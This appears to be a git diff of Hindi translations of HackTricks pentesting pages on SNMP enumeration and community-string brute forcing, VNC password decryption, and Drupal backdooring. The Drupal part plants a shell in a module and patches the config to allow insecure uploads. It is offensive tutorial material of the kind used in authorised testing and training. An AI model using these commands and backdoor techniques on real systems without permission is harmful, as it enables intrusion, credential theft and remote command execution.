* **SNMPv3**: एक बेहतर **प्रमाणीकरण** रूप का उपयोग करता है और जानकारी **एन्क्रिप्टेड** यात्रा करती है ( (**डिक्शनरी अटैक** किया जा सकता है लेकिन SNMPv1 और v2 की तुलना में सही क्रेडेंशियल्स खोजना बहुत कठिन होगा)।
|
||||
* **SNMPv1**: मुख्य संस्करण, यह अभी भी सबसे सामान्य है, **प्रमाणीकरण एक स्ट्रिंग पर आधारित है** (कम्युनिटी स्ट्रिंग) जो **सादा पाठ** में यात्रा करती है (सभी जानकारी सादा पाठ में यात्रा करती है)। **संस्करण 2 और 2c** भी **सादा पाठ में ट्रैफ़िक भेजते हैं** और **प्रमाणीकरण के रूप में एक कम्युनिटी स्ट्रिंग का उपयोग करते हैं**।
|
||||
* **SNMPv3**: एक बेहतर **प्रमाणीकरण** रूप का उपयोग करता है और जानकारी **एन्क्रिप्टेड** यात्रा करती है ( **शब्दकोश हमले** का प्रदर्शन किया जा सकता है लेकिन SNMPv1 और v2 की तुलना में सही क्रेडेंशियल्स खोजना बहुत कठिन होगा)।
|
||||
|
||||
### कम्युनिटी स्ट्रिंग्स
|
||||
|
||||
जैसा कि पहले उल्लेख किया गया है, **MIB पर संग्रहीत जानकारी तक पहुँचने के लिए आपको संस्करण 1 और 2/2c पर कम्युनिटी स्ट्रिंग और संस्करण 3 पर क्रेडेंशियल्स जानने की आवश्यकता है।**\
|
||||
जैसा कि पहले उल्लेख किया गया है, **MIB पर संग्रहीत जानकारी तक पहुंचने के लिए आपको संस्करण 1 और 2/2c पर कम्युनिटी स्ट्रिंग और संस्करण 3 पर क्रेडेंशियल्स जानने की आवश्यकता है।**\
|
||||
कम्युनिटी स्ट्रिंग्स के **2 प्रकार** हैं:
|
||||
|
||||
* **`public`** मुख्य रूप से **पढ़ने के लिए केवल** कार्य
|
||||
* **`private`** **पढ़ने/लिखने** में सामान्य
|
||||
|
||||
ध्यान दें कि **OID की लिखने की क्षमता उपयोग की गई कम्युनिटी स्ट्रिंग पर निर्भर करती है**, इसलिए **यहां तक कि** यदि आप पाते हैं कि "**public**" का उपयोग किया जा रहा है, तो आप कुछ मानों को **लिखने में सक्षम हो सकते हैं।** इसके अलावा, ऐसे ऑब्जेक्ट्स हो सकते हैं जो **हमेशा "पढ़ने के लिए केवल"** होते हैं।\
|
||||
यदि आप किसी ऑब्जेक्ट को **लिखने** की कोशिश करते हैं तो **`noSuchName` या `readOnly` त्रुटि** प्राप्त होती है\*\*.\*\*
|
||||
यदि आप एक ऑब्जेक्ट को **लिखने** का प्रयास करते हैं तो **`noSuchName` या `readOnly` त्रुटि** प्राप्त होती है\*\*.\*\*
|
||||
|
||||
संस्करण 1 और 2/2c में यदि आप **खराब** कम्युनिटी स्ट्रिंग का उपयोग करते हैं तो सर्वर **प्रतिक्रिया** नहीं देगा। इसलिए, यदि यह प्रतिक्रिया करता है, तो **एक मान्य कम्युनिटी स्ट्रिंग का उपयोग किया गया था**।
|
||||
संस्करण 1 और 2/2c में यदि आप एक **खराब** कम्युनिटी स्ट्रिंग का उपयोग करते हैं तो सर्वर **प्रतिक्रिया** नहीं देगा। इसलिए, यदि यह प्रतिक्रिया देता है, तो **एक मान्य कम्युनिटी स्ट्रिंग का उपयोग किया गया था**।
|
||||
|
||||
## पोर्ट्स
|
||||
|
||||
[विकिपीडिया से](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol):
|
||||
|
||||
* SNMP एजेंट UDP पोर्ट **161** पर अनुरोध प्राप्त करता है।
|
||||
* प्रबंधक पोर्ट **162** पर सूचनाएँ ( [ट्रैप्स](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#Trap) और [InformRequests](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#InformRequest)) प्राप्त करता है।
|
||||
* जब [परिवहन परत सुरक्षा](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) या [डेटाग्राम परिवहन परत सुरक्षा](https://en.wikipedia.org/wiki/Datagram\_Transport\_Layer\_Security) के साथ उपयोग किया जाता है, तो अनुरोध पोर्ट **10161** पर प्राप्त होते हैं और सूचनाएँ पोर्ट **10162** पर भेजी जाती हैं।
|
||||
* प्रबंधक पोर्ट **162** पर सूचनाएं ( [ट्रैप्स](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#Trap) और [InformRequests](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#InformRequest)) प्राप्त करता है।
|
||||
* जब [परिवहन परत सुरक्षा](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) या [डेटाग्राम परिवहन परत सुरक्षा](https://en.wikipedia.org/wiki/Datagram\_Transport\_Layer\_Security) के साथ उपयोग किया जाता है, तो अनुरोध पोर्ट **10161** पर प्राप्त होते हैं और सूचनाएं पोर्ट **10162** पर भेजी जाती हैं।
|
||||
|
||||
## ब्रूट-फोर्स कम्युनिटी स्ट्रिंग (v1 और v2c)
|
||||
|
||||
**कम्युनिटी स्ट्रिंग का अनुमान लगाने के लिए** आप एक डिक्शनरी अटैक कर सकते हैं। SNMP के खिलाफ ब्रूट-फोर्स अटैक करने के विभिन्न तरीकों के लिए [यहां देखें](../../generic-methodologies-and-resources/brute-force.md#snmp)। एक सामान्य उपयोग की जाने वाली कम्युनिटी स्ट्रिंग `public` है।
|
||||
**कम्युनिटी स्ट्रिंग का अनुमान लगाने के लिए** आप एक शब्दकोश हमले का प्रदर्शन कर सकते हैं। SNMP के खिलाफ ब्रूट-फोर्स हमले को करने के विभिन्न तरीकों के लिए [यहां देखें](../../generic-methodologies-and-resources/brute-force.md#snmp)। एक सामान्य उपयोग की जाने वाली कम्युनिटी स्ट्रिंग `public` है।
|
||||
|
||||
## SNMP की गणना करना
|
||||
|
||||
यह अनुशंसा की जाती है कि आप निम्नलिखित को स्थापित करें ताकि आप देख सकें कि **डिवाइस से एकत्रित प्रत्येक OID का क्या अर्थ है**:
|
||||
यह अनुशंसा की जाती है कि आप निम्नलिखित को स्थापित करें ताकि आप देख सकें कि **प्रत्येक OID जो डिवाइस से एकत्र किया गया है उसका क्या अर्थ है**:
|
||||
```bash
|
||||
apt-get install snmp-mibs-downloader
|
||||
download-mibs
|
||||
|
@ -140,7 +140,7 @@ nmap --script "snmp* and not snmp-brute" <target>
|
|||
|
||||
braa <community string>@<IP>:.1.3.6.* #Bruteforce specific OID
|
||||
```
|
||||
धन्यवाद विस्तारित क्वेरीज़ (download-mibs) के लिए, निम्नलिखित कमांड के साथ सिस्टम के बारे में और अधिक जानकारी प्राप्त करना संभव है:
|
||||
धन्यवाद विस्तारित प्रश्नों (download-mibs) के लिए, निम्नलिखित कमांड के साथ सिस्टम के बारे में और अधिक जानकारी प्राप्त करना संभव है:
|
||||
```bash
|
||||
snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
|
||||
```
|
||||
|
@ -157,7 +157,7 @@ snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
|
|||
दो मुख्य सेटिंग्स **पूर्ण OID पेड़** तक पहुंच सक्षम करती हैं, जो नेटवर्क प्रबंधन में एक महत्वपूर्ण घटक है:
|
||||
|
||||
1. **`rwuser noauth`** को OID पेड़ तक पूर्ण पहुंच की अनुमति देने के लिए सेट किया गया है बिना प्रमाणीकरण की आवश्यकता के। यह सेटिंग सीधी है और बिना किसी प्रतिबंध के पहुंच की अनुमति देती है।
|
||||
2. अधिक विशिष्ट नियंत्रण के लिए, पहुंच दी जा सकती है:
|
||||
2. अधिक विशिष्ट नियंत्रण के लिए, पहुंच प्रदान की जा सकती है:
|
||||
* **`rwcommunity`** के लिए **IPv4** पते, और
|
||||
* **`rwcommunity6`** के लिए **IPv6** पते।
|
||||
|
||||
|
@ -165,19 +165,19 @@ snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
|
|||
|
||||
### Microsoft Windows के लिए SNMP पैरामीटर
|
||||
|
||||
SNMP के माध्यम से Windows सिस्टम के विभिन्न पहलुओं की निगरानी के लिए एक श्रृंखला **प्रबंधन सूचना आधार (MIB) मान** का उपयोग की जाती है:
|
||||
SNMP के माध्यम से Windows सिस्टम के विभिन्न पहलुओं की निगरानी के लिए **प्रबंधन सूचना आधार (MIB) मान** की एक श्रृंखला का उपयोग किया जाता है:
|
||||
|
||||
* **सिस्टम प्रक्रियाएँ**: `1.3.6.1.2.1.25.1.6.0` के माध्यम से पहुंची जाती हैं, यह पैरामीटर सिस्टम के भीतर सक्रिय प्रक्रियाओं की निगरानी की अनुमति देता है।
|
||||
* **चल रहे कार्यक्रम**: वर्तमान में चल रहे कार्यक्रमों को ट्रैक करने के लिए `1.3.6.1.2.1.25.4.2.1.2` मान निर्धारित किया गया है।
|
||||
* **प्रक्रियाओं का पथ**: यह निर्धारित करने के लिए कि कोई प्रक्रिया कहाँ से चल रही है, `1.3.6.1.2.1.25.4.2.1.4` MIB मान का उपयोग किया जाता है।
|
||||
* **स्टोरेज यूनिट्स**: स्टोरेज यूनिट्स की निगरानी `1.3.6.1.2.1.25.2.3.1.4` द्वारा की जाती है।
|
||||
* **सॉफ़्टवेयर नाम**: सिस्टम पर स्थापित सॉफ़्टवेयर की पहचान करने के लिए, `1.3.6.1.2.1.25.6.3.1.2` का उपयोग किया जाता है।
|
||||
* **उपयोगकर्ता खाते**: `1.3.6.1.4.1.77.1.2.25` मान उपयोगकर्ता खातों की ट्रैकिंग की अनुमति देता है।
|
||||
* **सॉफ़्टवेयर नाम**: सिस्टम पर स्थापित सॉफ़्टवेयर की पहचान करने के लिए `1.3.6.1.2.1.25.6.3.1.2` का उपयोग किया जाता है।
|
||||
* **उपयोगकर्ता खाते**: उपयोगकर्ता खातों को ट्रैक करने के लिए `1.3.6.1.4.1.77.1.2.25` मान की अनुमति है।
|
||||
* **TCP स्थानीय पोर्ट**: अंततः, `1.3.6.1.2.1.6.13.1.3` TCP स्थानीय पोर्ट की निगरानी के लिए निर्धारित किया गया है, जो सक्रिय नेटवर्क कनेक्शनों की जानकारी प्रदान करता है।
|
||||
|
||||
### Cisco
|
||||
|
||||
यदि आप Cisco उपकरण हैं तो इस पृष्ठ को देखें:
|
||||
यदि आप Cisco उपकरण हैं तो इस पृष्ठ पर एक नज़र डालें:
|
||||
|
||||
{% content-ref url="cisco-snmp.md" %}
|
||||
[cisco-snmp.md](cisco-snmp.md)
|
||||
|
@ -213,7 +213,7 @@ grep ".1.3.6.1.2.1.1.1.0" *.snmp
|
|||
```
|
||||
### **निजी स्ट्रिंग की पहचान करें**
|
||||
|
||||
एक महत्वपूर्ण कदम **निजी समुदाय स्ट्रिंग** की पहचान करना है जो संगठनों द्वारा उपयोग की जाती है, विशेष रूप से Cisco IOS राउटर्स पर। यह स्ट्रिंग राउटर्स से **चलती कॉन्फ़िगरेशन** को निकालने की अनुमति देती है। पहचान अक्सर SNMP ट्रैप डेटा का विश्लेषण करने पर निर्भर करती है जिसमें "trap" शब्द होता है, **grep कमांड** के साथ:
|
||||
एक महत्वपूर्ण कदम **निजी समुदाय स्ट्रिंग** की पहचान करना है जो संगठनों द्वारा उपयोग की जाती है, विशेष रूप से Cisco IOS राउटर्स पर। यह स्ट्रिंग राउटर्स से **चल रही कॉन्फ़िगरेशन** को निकालने की अनुमति देती है। पहचान अक्सर SNMP ट्रैप डेटा का विश्लेषण करने पर निर्भर करती है जिसमें "trap" शब्द होता है, **grep कमांड** के साथ:
|
||||
```bash
|
||||
grep -i "trap" *.snmp
|
||||
```
|
||||
|
@ -243,7 +243,7 @@ grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
|
|||
* snmpd.conf
|
||||
* snmp-config.xml
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अचूक को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_)।
|
||||
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
|
||||
|
@ -38,23 +38,23 @@ Metasploit ढांचा `cisco_config_tftp` मॉड्यूल को श
|
|||
* लक्षित डिवाइस का IP (**RHOSTS**)
|
||||
* कॉन्फ़िगरेशन फ़ाइलों के लिए गंतव्य पथ (**OUTPUTDIR**)
|
||||
|
||||
कॉन्फ़िगरेशन के बाद, यह मॉड्यूल निर्दिष्ट फ़ोल्डर में सीधे डिवाइस सेटिंग्स को डाउनलोड करने की अनुमति देता है।
|
||||
कॉन्फ़िगरेशन के बाद, यह मॉड्यूल डिवाइस सेटिंग्स को सीधे निर्दिष्ट फ़ोल्डर में डाउनलोड करने की अनुमति देता है।
|
||||
|
||||
#### `snmp_enum`
|
||||
|
||||
एक और Metasploit मॉड्यूल, **`snmp_enum`**, विस्तृत हार्डवेयर जानकारी इकट्ठा करने में विशेषज्ञता रखता है। यह किसी भी प्रकार की समुदाय स्ट्रिंग के साथ काम करता है और सफल निष्पादन के लिए लक्षित के IP पते की आवश्यकता होती है:
|
||||
एक और Metasploit मॉड्यूल, **`snmp_enum`**, विस्तृत हार्डवेयर जानकारी एकत्रित करने में विशेषज्ञता रखता है। यह किसी भी प्रकार की समुदाय स्ट्रिंग के साथ काम करता है और सफल निष्पादन के लिए लक्षित का IP पता आवश्यक है:
|
||||
```bash
|
||||
msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public
|
||||
msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10
|
||||
msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
|
||||
```
|
||||
## संदर्भ
|
||||
## References
|
||||
|
||||
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अचूक को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_)।
|
||||
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अचूक को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -67,8 +67,8 @@ GCP हैकिंग सीखें और अभ्यास करें: <
|
|||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमारे** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** का पालन करें.**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# 5800,5801,5900,5901 - Pentesting VNC
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -15,9 +15,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक_).
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -50,7 +50,7 @@ vncviewer [-passwd passwd.txt] <IP>::5901
|
|||
make
|
||||
vncpwd <vnc password file>
|
||||
```
|
||||
आप यह कर सकते हैं क्योंकि 3des के अंदर उपयोग किया गया पासवर्ड जो स्पष्ट-टेक्स्ट VNC पासवर्ड को एन्क्रिप्ट करने के लिए था, सालों पहले उलटा गया था।\
|
||||
आप यह कर सकते हैं क्योंकि 3des के अंदर उपयोग किया गया पासवर्ड जो स्पष्ट-टेक्स्ट VNC पासवर्ड को एन्क्रिप्ट करने के लिए था, सालों पहले उलट दिया गया था।\
|
||||
**Windows** के लिए आप इस टूल का भी उपयोग कर सकते हैं: [https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\
|
||||
मैं यहाँ टूल को भी सहेजता हूँ ताकि आसानी से पहुँच सकें:
|
||||
|
||||
|
@ -60,22 +60,22 @@ vncpwd <vnc password file>
|
|||
|
||||
* `port:5900 RFB`
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अचूक को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_)।
|
||||
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अ-हैक करने योग्य को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS हैकिंग सीखें और अभ्यास करें:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP हैकिंग सीखें और अभ्यास करें: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें.**
|
||||
* हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||
|
||||
</details>
|
||||
|
|
|
@ -55,7 +55,7 @@ curl http://drupal-site.local/node/3
|
|||
वर्तमान संस्करणों में, डिफ़ॉल्ट स्थापना के बाद केवल वेब तक पहुँच होने पर प्लगइन्स स्थापित करना अब संभव नहीं है।
|
||||
{% endhint %}
|
||||
|
||||
एक बैकडोर मॉड्यूल **एक मौजूदा मॉड्यूल में शेल जोड़कर** बनाया जा सकता है। मॉड्यूल drupal.org वेबसाइट पर पाए जा सकते हैं। चलिए [CAPTCHA](https://www.drupal.org/project/captcha) जैसे एक मॉड्यूल का चयन करते हैं। नीचे स्क्रॉल करें और tar.gz [आर्काइव](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz) का लिंक कॉपी करें।
|
||||
एक बैकडोर मॉड्यूल **किसी मौजूदा मॉड्यूल में शेल जोड़कर** बनाया जा सकता है। मॉड्यूल drupal.org वेबसाइट पर पाए जा सकते हैं। चलिए [CAPTCHA](https://www.drupal.org/project/captcha) जैसे एक मॉड्यूल का चयन करते हैं। नीचे स्क्रॉल करें और tar.gz [आर्काइव](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz) के लिए लिंक कॉपी करें।
|
||||
|
||||
* आर्काइव डाउनलोड करें और इसकी सामग्री निकालें।
|
||||
```
|
||||
|
@ -75,7 +75,7 @@ RewriteEngine On
|
|||
RewriteBase /
|
||||
</IfModule>
|
||||
```
|
||||
* उपरोक्त कॉन्फ़िगरेशन / फ़ोल्डर के लिए नियम लागू करेगा जब हम /modules में एक फ़ाइल का अनुरोध करते हैं। इन दोनों फ़ाइलों को कैप्चा फ़ोल्डर में कॉपी करें और एक संग्रह बनाएँ।
|
||||
* उपरोक्त कॉन्फ़िगरेशन /modules में फ़ाइल का अनुरोध करते समय / फ़ोल्डर के लिए नियम लागू करेगा। इन दोनों फ़ाइलों को कैप्चा फ़ोल्डर में कॉपी करें और एक संग्रह बनाएँ।
|
||||
```bash
|
||||
mv shell.php .htaccess captcha
|
||||
tar cvf captcha.tar.gz captcha/
|
||||
|
@ -83,23 +83,23 @@ tar cvf captcha.tar.gz captcha/
|
|||
* मान लीजिए कि हमारे पास वेबसाइट पर **प्रशासनिक पहुंच** है, **`Manage`** पर क्लिक करें और फिर साइडबार में **`Extend`** पर क्लिक करें। अगला, **`+ Install new module`** बटन पर क्लिक करें, और हमें इंस्टॉलेशन पृष्ठ पर ले जाया जाएगा, जैसे `http://drupal-site.local/admin/modules/install` बैकडोर किए गए कैप्चा आर्काइव पर जाएं और **`Install`** पर क्लिक करें।
|
||||
* एक बार इंस्टॉलेशन सफल होने के बाद, **`/modules/captcha/shell.php`** पर जाएं ताकि कमांड निष्पादित कर सकें।
|
||||
|
||||
## Drupal को कॉन्फ़िगरेशन समन्वय के साथ बैकडोर करना <a href="#backdooring-drupal" id="backdooring-drupal"></a>
|
||||
## कॉन्फ़िगरेशन समन्वय के साथ Drupal का बैकडोरिंग <a href="#backdooring-drupal" id="backdooring-drupal"></a>
|
||||
|
||||
**पोस्ट साझा की गई** [**Coiffeur0x90**](https://twitter.com/Coiffeur0x90)
|
||||
|
||||
### भाग 1 (_Media_ और _Media Library_ का सक्रियण)
|
||||
|
||||
_Extend_ मेनू (/admin/modules) में, आप उन प्लगइन्स को सक्रिय कर सकते हैं जो पहले से स्थापित प्रतीत होते हैं। डिफ़ॉल्ट रूप से, प्लगइन्स _Media_ और _Media Library_ सक्रिय नहीं होते हैं, इसलिए चलिए इन्हें सक्रिय करते हैं।
|
||||
_Extend_ मेनू (/admin/modules) में, आप उन प्लगइन्स को सक्रिय कर सकते हैं जो पहले से स्थापित प्रतीत होते हैं। डिफ़ॉल्ट रूप से, प्लगइन्स _Media_ और _Media Library_ सक्रिय नहीं दिखाई देते हैं, इसलिए चलिए इन्हें सक्रिय करते हैं।
|
||||
|
||||
सक्रियकरण से पहले:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (4) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
सक्रियकरण के बाद:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### भाग 2 (_Configuration synchronization_ फीचर का लाभ उठाना) <a href="#part-2-leveraging-feature-configuration-synchronization" id="part-2-leveraging-feature-configuration-synchronization"></a>
|
||||
|
||||
|
@ -110,7 +110,7 @@ _Extend_ मेनू (/admin/modules) में, आप उन प्लगइ
|
|||
|
||||
**Patch system.file.yml**
|
||||
|
||||
आइए पहले प्रविष्टि `allow_insecure_uploads` को पैच करना शुरू करें:
|
||||
आइए पहले प्रविष्टि `allow_insecure_uploads` को पैच करने से शुरू करें:
|
||||
|
||||
File: system.file.yml
|
||||
```
|
||||
|
@ -122,9 +122,9 @@ allow_insecure_uploads: false
|
|||
...
|
||||
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
के लिए:
|
||||
को:
|
||||
|
||||
फाइल: system.file.yml
|
||||
```
|
||||
|
@ -136,7 +136,7 @@ allow_insecure_uploads: true
|
|||
...
|
||||
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (4) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (4) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Patch field.field.media.document.field\_media\_document.yml**
|
||||
|
||||
|
@ -152,7 +152,7 @@ file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fod
|
|||
|
||||
...
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (5) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (5) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
के लिए:
|
||||
|
||||
|
@ -166,13 +166,13 @@ file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp od
|
|||
...
|
||||
|
||||
```
|
||||
